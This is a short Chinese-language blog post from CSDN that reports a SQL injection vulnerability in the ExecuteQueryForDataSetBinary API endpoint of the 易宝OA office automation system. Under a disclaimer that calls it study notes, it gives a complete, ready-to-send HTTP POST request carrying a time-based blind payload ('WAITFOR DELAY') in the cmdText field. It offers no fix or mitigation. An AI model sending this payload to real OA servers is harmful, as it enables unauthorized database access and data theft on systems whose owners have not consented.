易宝OA-ExecuteQueryForDataSetBinary处sql注入

网盾网络安全服务

已于 2024-05-14 11:49:19 修改

阅读量410

点赞数 10

文章标签：安全 web安全

于 2024-05-14 11:46:43 首次发布

本文链接：https://blog.csdn.net/qq_69775412/article/details/138848139

版权

免责声明：

本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！

漏洞描述

易宝OA的/api/system/ExecuteQueryForDataSetBinary处存在sql注入漏洞

漏洞复现

打开页面

构造payload

POST /api/system/ExecuteQueryForDataSetBinary HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 43

token=zxh&cmdText=;WAITFOR DELAY '0:0:2'--+